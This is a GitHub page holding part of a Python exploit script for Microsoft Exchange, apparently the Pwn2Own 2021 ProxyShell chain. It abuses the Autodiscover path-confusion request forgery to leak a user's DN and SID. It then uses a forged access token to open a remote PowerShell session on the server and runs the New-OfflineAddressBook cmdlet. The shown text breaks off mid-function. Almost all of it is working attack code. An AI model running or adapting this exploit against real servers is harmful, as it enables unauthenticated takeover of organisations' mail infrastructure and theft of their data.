forked from FDlucifer/Proxy-Attackchain
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathPwn2Own2021MSExchangeExploit.py
1088 lines (989 loc) · 46.5 KB
/
Pwn2Own2021MSExchangeExploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
import base64
import re
import xml.dom.minidom
import json
import uuid
import struct
import string
import random
import hashlib
import time
import urllib
import sys
import warnings
warnings.filterwarnings("ignore")
warnings.filterwarnings("ignore", category=DeprecationWarning)
import requests
# proxies = {'https': 'http://127.0.0.1:8080'}
proxies = {}
base_url = ""
session = requests.Session()
def post_request(original_url, headers, data = None, cookies = {}):
headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"
cookies["email"] = "Autodiscover/[email protected]"
url = base_url + "/Autodiscover/[email protected]" + original_url
if data is not None:
r = session.post(url, headers=headers, cookies=cookies, data=data, verify=False, proxies=proxies)
else:
r = session.get(url, headers=headers, cookies=cookies, verify=False, proxies=proxies)
return r
def print_error_and_exit(error, r):
print '[+] ', repr(error)
if r is not None:
print '[+] status_code: ', r.status_code
print '[+] response headers: ', repr(r.headers)
print '[+] response: ', repr(r.text.encode('utf-8'))
raise Exception("exploit failed")
def get_userdn(email_address):
headers = {"Content-Type": "text/xml; charset=utf-8"}
data = """<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:a="http://schemas.microsoft.com/exchange/2010/Autodiscover"
xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<a:RequestedServerVersion>Exchange2010</a:RequestedServerVersion>
<wsa:Action>http://schemas.microsoft.com/exchange/2010/Autodiscover/Autodiscover/GetUserSettings</wsa:Action>
<wsa:To>https://mail.microsoft.com/autodiscover/autodiscover.svc</wsa:To>
</soap:Header>
<soap:Body>
<a:GetUserSettingsRequestMessage xmlns:a="http://schemas.microsoft.com/exchange/2010/Autodiscover">
<a:Request>
<a:Users>
<a:User>
<a:Mailbox>%s</a:Mailbox>
</a:User>
</a:Users>
<a:RequestedSettings>
<a:Setting>UserDN</a:Setting>
</a:RequestedSettings>
</a:Request>
</a:GetUserSettingsRequestMessage>
</soap:Body>
</soap:Envelope>""" % (email_address)
print "[+] Send request to get UserDN"
r = post_request("/Autodiscover/Autodiscover.svc", headers, data)
if r.status_code == 200:
doc = xml.dom.minidom.parseString(r.text.encode('utf-8'));
UserDN = doc.getElementsByTagName("UserSetting")[0].getElementsByTagName("Value")[0].firstChild.nodeValue
print "[+] Got UserDN of %s : %s" % (email_address, UserDN)
# print "[+] Got UserDN success"
return UserDN.encode('ascii')
else:
print_error_and_exit("get_userdn failed", r)
def get_sid(UserDN, email_address):
headers = {'Content-Type': 'application/mapi-http',
'X-Clientapplication': 'Outlook/15.0.4815.1002',
'X-Clientinfo': '{2F94A2BF-A2E6-4CCC-BF98-B5F22C542226}',
'X-Requestid': '{C715155F-2BE8-44E0-BD34-2960065754C8}:2',
'X-Requesttype': 'Connect',
'X-User-Identity': email_address }
suffix = base64.b64decode("AAAAAADkBAAACQQAAAkEAAAAAAAA")
data = UserDN + suffix
print '[+] Send request to get sid'
r = post_request("/mapi/emsmdb", headers, data)
if r.status_code == 200:
sid = re.search("with SID (.*) and MasterAccountSid", r.text).group(1)
# print '[+] Found sid of %s : %s' % (email_address, sid)
print '[+] Got sid success'
return sid
else:
print_error_and_exit("get_sid failed", r)
def extract_domainid(sid):
ret = re.search("S-1-5-21-(.*)-\\d+", sid)
if ret is not None:
domainid = ret.group(1)
print "[+] Extract Domain ID success"
return domainid
else:
return None
class BasePacket:
def __init__(self, ObjectId = 0, Destination = 2, MessageType = 0, RPID = None, PID = None, Data = ""):
self.ObjectId = ObjectId
self.FragmentId = 0
self.Flags = "\x03"
self.Destination = Destination
self.MessageType = MessageType
self.RPID = RPID
self.PID = PID
self.Data = Data
def __str__(self):
return "ObjectId: " + str(self.ObjectId) + ", FragmentId: " + str(self.FragmentId) + ", MessageType: " + str(self.MessageType) + ", RPID: " + str(self.RPID) + ", PID: " + str(self.PID) + ", Data: " + self.Data
def serialize(self):
Blob = ''.join([struct.pack('I', self.Destination),
struct.pack('I', self.MessageType),
self.RPID.bytes_le,
self.PID.bytes_le,
self.Data
])
BlobLength = len(Blob)
output = ''.join([struct.pack('>Q', self.ObjectId),
struct.pack('>Q', self.FragmentId),
self.Flags,
struct.pack('>I', BlobLength),
Blob ])
return output
def deserialize(self, data):
total_len = len(data)
i = 0
self.ObjectId = struct.unpack('>Q', data[i:i+8])[0]
i = i + 8
self.FragmentId = struct.unpack('>Q', data[i:i+8])[0]
i = i + 8
self.Flags = data[i]
i = i + 1
BlobLength = struct.unpack('>I', data[i:i+4])[0]
i = i + 4
Blob = data[i:i+BlobLength]
lastIndex = i + BlobLength
i = 0
self.Destination = struct.unpack('I', Blob[i:i+4])[0]
i = i + 4
self.MessageType = struct.unpack('I', Blob[i:i+4])[0]
i = i + 4
self.RPID = uuid.UUID(bytes_le=Blob[i:i+16])
i = i + 16
self.PID = uuid.UUID(bytes_le=Blob[i:i+16])
i = i + 16
self.Data = Blob[i:]
return lastIndex
class SESSION_CAPABILITY(BasePacket):
def __init__(self, ObjectId = 1, RPID = None, PID = None, Data = ""):
self.Destination = 2
self.MessageType = 0x00010002
BasePacket.__init__(self, ObjectId, self.Destination, self.MessageType, RPID, PID, Data)
class INIT_RUNSPACEPOOL(BasePacket):
def __init__(self, ObjectId = 1, RPID = None, PID = None, Data = ""):
self.Destination = 2
self.MessageType = 0x00010004
BasePacket.__init__(self, ObjectId, self.Destination, self.MessageType, RPID, PID, Data)
class CreationXML:
def __init__(self, sessionCapability, initRunspacPool):
self.sessionCapability = sessionCapability
self.initRunspacPool = initRunspacPool
def serialize(self):
output = self.sessionCapability.serialize() + self.initRunspacPool.serialize()
return base64.b64encode(output)
def deserialize(self, data):
rawdata = base64.b64decode(data)
lastIndex = self.sessionCapability.deserialize(rawdata)
self.initRunspacPool.deserialize(rawdata[lastIndex:])
def __str__(self):
return self.sessionCapability.__str__() + self.initRunspacPool.__str__()
class PSCommand(BasePacket):
def __init__(self, ObjectId = 1, RPID = None, PID = None, Data = ""):
self.Destination = 2
self.MessageType = 0x00021006
BasePacket.__init__(self, ObjectId, self.Destination, self.MessageType, RPID, PID, Data)
def create_powershell_shell(SessionId, RPID, commonAccessToken):
print "[+] Create powershell session"
headers = {
"Content-Type": "application/soap+xml;charset=UTF-8",
}
url = "/powershell?serializationLevel=Full;ExchClientVer=15.1.2044.4;clientApplication=ManagementShell;TargetServer=;PSVersion=5.1.14393.3053&X-Rps-CAT={commonAccessToken}".format(commonAccessToken=commonAccessToken)
MessageID = uuid.uuid4()
OperationID = uuid.uuid4()
PID = uuid.UUID('{00000000-0000-0000-0000-000000000000}')
sessionData = """<Obj RefId="0"><MS><Version N="protocolversion">2.3</Version><Version N="PSVersion">2.0</Version><Version N="SerializationVersion">1.1.0.1</Version></MS></Obj>"""
sessionCapability = SESSION_CAPABILITY(1, RPID, PID, sessionData)
initData = """<Obj RefId="0"><MS><I32 N="MinRunspaces">1</I32><I32 N="MaxRunspaces">1</I32><Obj N="PSThreadOptions" RefId="1"><TN RefId="0"><T>System.Management.Automation.Runspaces.PSThreadOptions</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>Default</ToString><I32>0</I32></Obj><Obj N="ApartmentState" RefId="2"><TN RefId="1"><T>System.Threading.ApartmentState</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>Unknown</ToString><I32>2</I32></Obj><Obj N="ApplicationArguments" RefId="3"><TN RefId="2"><T>System.Management.Automation.PSPrimitiveDictionary</T><T>System.Collections.Hashtable</T><T>System.Object</T></TN><DCT><En><S N="Key">PSVersionTable</S><Obj N="Value" RefId="4"><TNRef RefId="2" /><DCT><En><S N="Key">PSVersion</S><Version N="Value">5.1.19041.610</Version></En><En><S N="Key">PSEdition</S><S N="Value">Desktop</S></En><En><S N="Key">PSCompatibleVersions</S><Obj N="Value" RefId="5"><TN RefId="3"><T>System.Version[]</T><T>System.Array</T><T>System.Object</T></TN><LST><Version>1.0</Version><Version>2.0</Version><Version>3.0</Version><Version>4.0</Version><Version>5.0</Version><Version>5.1.19041.610</Version></LST></Obj></En><En><S N="Key">CLRVersion</S><Version N="Value">4.0.30319.42000</Version></En><En><S N="Key">BuildVersion</S><Version N="Value">10.0.19041.610</Version></En><En><S N="Key">WSManStackVersion</S><Version N="Value">3.0</Version></En><En><S N="Key">PSRemotingProtocolVersion</S><Version N="Value">2.3</Version></En><En><S N="Key">SerializationVersion</S><Version N="Value">1.1.0.1</Version></En></DCT></Obj></En></DCT></Obj><Obj N="HostInfo" RefId="6"><MS><Obj N="_hostDefaultData" RefId="7"><MS><Obj N="data" RefId="8"><TN RefId="4"><T>System.Collections.Hashtable</T><T>System.Object</T></TN><DCT><En><I32 N="Key">9</I32><Obj N="Value" RefId="9"><MS><S N="T">System.String</S><S N="V">Administrator: Windows PowerShell</S></MS></Obj></En><En><I32 N="Key">8</I32><Obj N="Value" RefId="10"><MS><S N="T">System.Management.Automation.Host.Size</S><Obj N="V" RefId="11"><MS><I32 N="width">274</I32><I32 N="height">72</I32></MS></Obj></MS></Obj></En><En><I32 N="Key">7</I32><Obj N="Value" RefId="12"><MS><S N="T">System.Management.Automation.Host.Size</S><Obj N="V" RefId="13"><MS><I32 N="width">120</I32><I32 N="height">72</I32></MS></Obj></MS></Obj></En><En><I32 N="Key">6</I32><Obj N="Value" RefId="14"><MS><S N="T">System.Management.Automation.Host.Size</S><Obj N="V" RefId="15"><MS><I32 N="width">120</I32><I32 N="height">50</I32></MS></Obj></MS></Obj></En><En><I32 N="Key">5</I32><Obj N="Value" RefId="16"><MS><S N="T">System.Management.Automation.Host.Size</S><Obj N="V" RefId="17"><MS><I32 N="width">120</I32><I32 N="height">3000</I32></MS></Obj></MS></Obj></En><En><I32 N="Key">4</I32><Obj N="Value" RefId="18"><MS><S N="T">System.Int32</S><I32 N="V">25</I32></MS></Obj></En><En><I32 N="Key">3</I32><Obj N="Value" RefId="19"><MS><S N="T">System.Management.Automation.Host.Coordinates</S><Obj N="V" RefId="20"><MS><I32 N="x">0</I32><I32 N="y">0</I32></MS></Obj></MS></Obj></En><En><I32 N="Key">2</I32><Obj N="Value" RefId="21"><MS><S N="T">System.Management.Automation.Host.Coordinates</S><Obj N="V" RefId="22"><MS><I32 N="x">0</I32><I32 N="y">9</I32></MS></Obj></MS></Obj></En><En><I32 N="Key">1</I32><Obj N="Value" RefId="23"><MS><S N="T">System.ConsoleColor</S><I32 N="V">5</I32></MS></Obj></En><En><I32 N="Key">0</I32><Obj N="Value" RefId="24"><MS><S N="T">System.ConsoleColor</S><I32 N="V">6</I32></MS></Obj></En></DCT></Obj></MS></Obj><B N="_isHostNull">false</B><B N="_isHostUINull">false</B><B N="_isHostRawUINull">false</B><B N="_useRunspaceHost">false</B></MS></Obj></MS></Obj>"""
initRunspacPool = INIT_RUNSPACEPOOL(2, RPID, PID, initData)
creationXml = CreationXML(sessionCapability, initRunspacPool).serialize()
# <rsp:CompressionType s:mustUnderstand="true" xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell">xpress</rsp:CompressionType>
request_data = """<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd">
<s:Header>
<a:To>https://exchange16.domaincorp.com:443/PowerShell?PSVersion=5.1.19041.610</a:To>
<w:ResourceURI s:mustUnderstand="true">http://schemas.microsoft.com/powershell/Microsoft.Exchange</w:ResourceURI>
<a:ReplyTo>
<a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
</a:ReplyTo>
<a:Action s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/09/transfer/Create</a:Action>
<w:MaxEnvelopeSize s:mustUnderstand="true">512000</w:MaxEnvelopeSize>
<a:MessageID>uuid:{MessageID}</a:MessageID>
<w:Locale xml:lang="en-US" s:mustUnderstand="false" />
<p:DataLocale xml:lang="en-US" s:mustUnderstand="false" />
<p:SessionId s:mustUnderstand="false">uuid:{SessionId}</p:SessionId>
<p:OperationID s:mustUnderstand="false">uuid:{OperationID}</p:OperationID>
<p:SequenceId s:mustUnderstand="false">1</p:SequenceId>
<w:OptionSet xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" s:mustUnderstand="true">
<w:Option Name="protocolversion" MustComply="true">2.3</w:Option>
</w:OptionSet>
<w:OperationTimeout>PT180.000S</w:OperationTimeout>
</s:Header>
<s:Body>
<rsp:Shell xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" Name="WinRM10" >
<rsp:InputStreams>stdin pr</rsp:InputStreams>
<rsp:OutputStreams>stdout</rsp:OutputStreams>
<creationXml xmlns="http://schemas.microsoft.com/powershell">{creationXml}</creationXml>
</rsp:Shell>
</s:Body>
</s:Envelope>""".format(OperationID=OperationID, MessageID=MessageID, SessionId=SessionId, creationXml=creationXml)
r = post_request(url, headers, request_data, {})
if r.status_code == 200:
doc = xml.dom.minidom.parseString(r.text.encode('utf-8'));
elements = doc.getElementsByTagName("rsp:ShellId")
if len(elements) == 0:
print_error_and_exit("create_powershell_shell failed with no ShellId return", r)
ShellId = elements[0].firstChild.nodeValue
print "[+] Got ShellId: {ShellId}".format(ShellId=ShellId)
# print "[+] Got ShellId success"
return ShellId
else:
print_error_and_exit("create_powershell_shell failed", r)
def receive_data(SessionId, commonAccessToken, ShellId):
print "[+] Receive data util get RunspaceState packet"
headers = {
"Content-Type": "application/soap+xml;charset=UTF-8"
}
url = "/powershell?serializationLevel=Full;ExchClientVer=15.1.2044.4;clientApplication=ManagementShell;TargetServer=;PSVersion=5.1.14393.3053&X-Rps-CAT={commonAccessToken}".format(commonAccessToken=commonAccessToken)
MessageID = uuid.uuid4()
OperationID = uuid.uuid4()
request_data = """<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd">
<s:Header>
<a:To>https://exchange16.domaincorp.com:443/PowerShell?PSVersion=5.1.19041.610</a:To>
<w:ResourceURI s:mustUnderstand="true">http://schemas.microsoft.com/powershell/Microsoft.Exchange</w:ResourceURI>
<a:ReplyTo>
<a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
</a:ReplyTo>
<a:Action s:mustUnderstand="true">http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Receive</a:Action>
<w:MaxEnvelopeSize s:mustUnderstand="true">512000</w:MaxEnvelopeSize>
<a:MessageID>uuid:{MessageID}</a:MessageID>
<w:Locale xml:lang="en-US" s:mustUnderstand="false" />
<p:DataLocale xml:lang="en-US" s:mustUnderstand="false" />
<p:SessionId s:mustUnderstand="false">uuid:{SessionId}</p:SessionId>
<p:OperationID s:mustUnderstand="false">uuid:{OperationID}</p:OperationID>
<p:SequenceId s:mustUnderstand="false">1</p:SequenceId>
<w:SelectorSet>
<w:Selector Name="ShellId">{ShellId}</w:Selector>
</w:SelectorSet>
<w:OptionSet xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<w:Option Name="WSMAN_CMDSHELL_OPTION_KEEPALIVE">TRUE</w:Option>
</w:OptionSet>
<w:OperationTimeout>PT180.000S</w:OperationTimeout>
</s:Header>
<s:Body>
<rsp:Receive xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" SequenceId="0">
<rsp:DesiredStream>stdout</rsp:DesiredStream>
</rsp:Receive>
</s:Body>
</s:Envelope>""".format(SessionId=SessionId, MessageID=MessageID, OperationID=OperationID, ShellId=ShellId)
r = post_request(url, headers, request_data, {})
if r.status_code == 200:
doc = xml.dom.minidom.parseString(r.text.encode('utf-8'));
elements = doc.getElementsByTagName("rsp:Stream")
if len(elements) == 0:
print_error_and_exit("receive_data failed with no Stream return", r)
for element in elements:
stream = element.firstChild.nodeValue
data = base64.b64decode(stream)
if 'RunspaceState' in data:
print "[+] Found RunspaceState packet"
return True
return False
else:
print_error_and_exit("receive_data failed", r)
def run_cmdlet_new_offlineaddressbook(SessionId, RPID, commonAccessToken, ShellId):
print "[+] Run cmdlet new-offlineaddressbook"
headers = {
"Content-Type": "application/soap+xml;charset=UTF-8",
}
url = "/powershell?serializationLevel=Full;ExchClientVer=15.1.2044.4;clientApplication=ManagementShell;TargetServer=;PSVersion=5.1.14393.3053&X-Rps-CAT={commonAccessToken}".format(commonAccessToken=commonAccessToken)
name = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(10))
commandData = """<Obj RefId="0"><MS>
<Obj N="PowerShell" RefId="1"><MS>
<Obj N="Cmds" RefId="2">
<TN RefId="0">
<T>System.Collections.Generic.List`1[[System.Management.Automation.PSObject, System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]</T>
<T>System.Object</T>
</TN>
<LST>
<Obj RefId="3"><MS>
<S N="Cmd">New-OfflineAddressBook</S>
<B N="IsScript">false</B>
<Nil N="UseLocalScope" />
<Obj N="MergeMyResult" RefId="4">
<TN RefId="1">
<T>System.Management.Automation.Runspaces.PipelineResultTypes</T>
<T>System.Enum</T>
<T>System.ValueType</T>
<T>System.Object</T>
</TN>
<ToString>None</ToString><I32>0</I32>
</Obj>
<Obj N="MergeToResult" RefId="5"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj>
<Obj N="MergePreviousResults" RefId="6"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj>
<Obj N="MergeError" RefId="7"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj>
<Obj N="MergeWarning" RefId="8"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj>
<Obj N="MergeVerbose" RefId="9"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj>
<Obj N="MergeDebug" RefId="10"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj>
<Obj N="MergeInformation" RefId="11"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj>
<Obj N="Args" RefId="12"><TNRef RefId="0" />
<LST>
<Obj RefId="13"><MS><S N="N">-Name:</S><S N="V">{name}</S></MS></Obj>
<Obj RefId="14"><MS><S N="N">-AddressLists:</S><S N="V">Default Global Address List</S></MS></Obj>
</LST>
</Obj>
</MS></Obj>
</LST>
</Obj>
<B N="IsNested">false</B>
<Nil N="History" />
<B N="RedirectShellErrorOutputPipe">true</B>
</MS></Obj>
<B N="NoInput">true</B>
<Obj N="ApartmentState" RefId="15">
<TN RefId="2"><T>System.Threading.ApartmentState</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN>
<ToString>Unknown</ToString><I32>2</I32>
</Obj>
<Obj N="RemoteStreamOptions" RefId="16">
<TN RefId="3"><T>System.Management.Automation.RemoteStreamOptions</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN>
<ToString>0</ToString><I32>0</I32>
</Obj>
<B N="AddToHistory">true</B>
<Obj N="HostInfo" RefId="17"><MS>
<B N="_isHostNull">true</B>
<B N="_isHostUINull">true</B>
<B N="_isHostRawUINull">true</B>
<B N="_useRunspaceHost">true</B></MS>
</Obj>
<B N="IsNested">false</B>
</MS></Obj>""".format(name=name)
PID = uuid.uuid4()
# print '[+] Pipeline ID: ', PID
print '[+] Create powershell pipeline'
c = PSCommand(3, RPID, PID, commandData)
command_arguments = base64.b64encode(c.serialize())
MessageID = uuid.uuid4()
OperationID = uuid.uuid4()
request_data = """<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd">
<s:Header>
<a:To>https://exchange16.domaincorp.com:443/PowerShell?PSVersion=5.1.19041.610</a:To>
<a:ReplyTo>
<a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
</a:ReplyTo>
<a:Action s:mustUnderstand="true">http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Command</a:Action>
<w:MaxEnvelopeSize s:mustUnderstand="true">512000</w:MaxEnvelopeSize>
<a:MessageID>uuid:{MessageID}</a:MessageID>
<w:Locale xml:lang="en-US" s:mustUnderstand="false" />
<p:DataLocale xml:lang="en-US" s:mustUnderstand="false" />
<p:SessionId s:mustUnderstand="false">uuid:{SessionId}</p:SessionId>
<p:OperationID s:mustUnderstand="false">uuid:{OperationID}</p:OperationID>
<p:SequenceId s:mustUnderstand="false">1</p:SequenceId>
<w:ResourceURI xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd">http://schemas.microsoft.com/powershell/Microsoft.Exchange</w:ResourceURI>
<w:SelectorSet xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd">
<w:Selector Name="ShellId">{ShellId}</w:Selector>
</w:SelectorSet>
<w:OperationTimeout>PT180.000S</w:OperationTimeout>
</s:Header>
<s:Body>
<rsp:CommandLine xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" CommandId="{CommandId}" >
<rsp:Command>New-OfflineAddressBook</rsp:Command>
<rsp:Arguments>{command_arguments}</rsp:Arguments>
</rsp:CommandLine>
</s:Body>
</s:Envelope>""".format(SessionId=SessionId, MessageID=MessageID, OperationID=OperationID, ShellId=ShellId, CommandId=str(PID), command_arguments=command_arguments)
r = post_request(url, headers, request_data, {})
if r.status_code == 200:
doc = xml.dom.minidom.parseString(r.text.encode('utf-8'))
elements = doc.getElementsByTagName("rsp:CommandId")
if len(elements) == 0:
print_error_and_exit("run_cmdlet_new_offlineaddressbook failed with no CommandId return", r)
CommandId = elements[0].firstChild.nodeValue
# print "[+] Got CommandId: {CommandId}".format(CommandId=CommandId)
print "[+] Got CommandId success"
return CommandId
else:
print_error_and_exit("run_cmdlet_new_offlineaddressbook failed", r)
def get_command_output(SessionId, commonAccessToken, ShellId, CommandId):
headers = {
"Content-Type": "application/soap+xml;charset=UTF-8",
}
url = "/powershell?serializationLevel=Full;ExchClientVer=15.1.2044.4;clientApplication=ManagementShell;TargetServer=;PSVersion=5.1.14393.3053&sessionID=Version_15.1_(Build_2043.4)=rJqNiZqNgbqnvLe+sbi6zsnRm5CSnpaRnJCNj9GckJKBzsbLzc/JzM7Pz4HNz83O0s/M0s3Iq8/Hxc/LxczO&X-Rps-CAT={commonAccessToken}".format(commonAccessToken=commonAccessToken)
MessageID = uuid.uuid4()
OperationID = uuid.uuid4()
request_data = """<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd">
<s:Header>
<a:To>https://exchange16.domaincorp.com:443/PowerShell?PSVersion=5.1.19041.610</a:To>
<a:ReplyTo>
<a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
</a:ReplyTo>
<a:Action s:mustUnderstand="true">http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Receive</a:Action>
<w:MaxEnvelopeSize s:mustUnderstand="true">512000</w:MaxEnvelopeSize><a:MessageID>uuid:{MessageID}</a:MessageID>
<w:Locale xml:lang="en-US" s:mustUnderstand="false" />
<p:DataLocale xml:lang="en-US" s:mustUnderstand="false" />
<p:SessionId s:mustUnderstand="false">uuid:{SessionId}</p:SessionId>
<p:OperationID s:mustUnderstand="false">uuid:{OperationID}</p:OperationID>
<p:SequenceId s:mustUnderstand="false">1</p:SequenceId>
<w:ResourceURI xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd">http://schemas.microsoft.com/powershell/Microsoft.Exchange</w:ResourceURI>
<w:SelectorSet xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd">
<w:Selector Name="ShellId">{ShellId}</w:Selector>
</w:SelectorSet>
<w:OperationTimeout>PT180.000S</w:OperationTimeout>
</s:Header>
<s:Body>
<rsp:Receive xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" SequenceId="0">
<rsp:DesiredStream CommandId="{CommandId}">stdout</rsp:DesiredStream>
</rsp:Receive>
</s:Body>
</s:Envelope>""".format(SessionId=SessionId, MessageID=MessageID, OperationID=OperationID, ShellId=ShellId, CommandId=CommandId)
r = post_request(url, headers, request_data, {})
if r.status_code == 200:
doc = xml.dom.minidom.parseString(r.text.encode('utf-8'))
elements = doc.getElementsByTagName("rsp:Stream")
if len(elements) == 0:
print_error_and_exit("get_command_output failed with no Stream return", r)
data = elements[0].firstChild.nodeValue
rawdata = base64.b64decode(data)
ret = re.search('<G N="Guid">(.*)</G>', rawdata)
if ret is None:
print_error_and_exit("get_command_output failed with no oab_guid return,\n\t\trawdata: " + repr(rawdata), r)
oab_guid = ret.group(1)
